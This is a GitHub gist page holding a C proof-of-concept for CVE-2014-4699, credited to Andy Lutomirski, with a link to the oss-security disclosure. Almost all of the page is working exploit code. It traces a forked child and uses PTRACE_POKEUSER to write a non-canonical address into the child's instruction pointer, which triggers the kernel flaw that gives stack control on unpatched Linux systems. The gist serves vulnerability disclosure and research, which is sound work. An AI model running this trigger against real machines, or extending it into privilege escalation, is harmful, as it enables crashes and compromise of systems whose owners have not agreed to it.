Skip to content

Instantly share code, notes, and snippets.

@kennwhite
Created July 9, 2014 03:40
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save kennwhite/e2359022bd8355bc1122 to your computer and use it in GitHub Desktop.
Save kennwhite/e2359022bd8355bc1122 to your computer and use it in GitHub Desktop.
Ptrace stack control PoC CVE-2014-4699
/*
CVE-2014-4699 ptrace stack control POC By Andy Lutomirski
See: http://www.openwall.com/lists/oss-security/2014/07/08/16
*/
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/syscall.h>
#include <sys/user.h>
#include <unistd.h>
#include <errno.h>
#include <stddef.h>
#include <stdio.h>
#include <err.h>
static siginfo_t wait_trap(pid_t chld)
{
siginfo_t si;
if (waitid(P_PID, chld, &si, WEXITED|WSTOPPED) != 0)
err(1, "waitid");
if (si.si_pid != chld)
errx(1, "got unexpected pid in event\n");
if (si.si_code != CLD_TRAPPED)
errx(1, "got unexpected event type %d\n", si.si_code);
return si;
}
int main()
{
unsigned long tmp;
pid_t chld = fork();
if (chld < 0)
err(1, "fork");
if (chld == 0) {
if (ptrace(PTRACE_TRACEME, 0, 0, 0) != 0)
err(1, "PTRACE_TRACEME");
raise(SIGSTOP);
fork();
return 0;
}
int status;
/* Wait for SIGSTOP and enable seccomp tracing. */
if (waitpid(chld, &status, 0) != chld || !WIFSTOPPED(status))
err(1, "waitpid");
if (ptrace(PTRACE_SETOPTIONS, chld, 0, PTRACE_O_TRACEFORK) != 0)
err(1, "PTRACE_O_TRACEFORK");
if (ptrace(PTRACE_CONT, chld, 0, 0) != 0)
err(1, "PTRACE_CONT");
wait_trap(chld);
errno = 0;
tmp = ptrace(PTRACE_PEEKUSER, chld,
offsetof(struct user_regs_struct, rip), NULL);
if (errno)
err(1, "PTRACE_PEEKUSER");
printf("child RIP = 0x%lx\n", tmp);
if (ptrace(PTRACE_POKEUSER, chld,
offsetof(struct user_regs_struct, rip), (void *)(1ULL << 48)) != 0)
err(1, "PTRACE_POKEUSER");
errno = 0;
tmp = ptrace(PTRACE_PEEKUSER, chld, offsetof(struct user_regs_struct, rip), NULL);
if (errno)
err(1, "PTRACE_PEEKUSER");
printf("child RIP = 0x%lx\n", tmp);
if (ptrace(PTRACE_CONT, chld, 0, 0) != 0)
err(1, "PTRACE_CONT");
ptrace(PTRACE_DETACH, chld, 0, 0);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment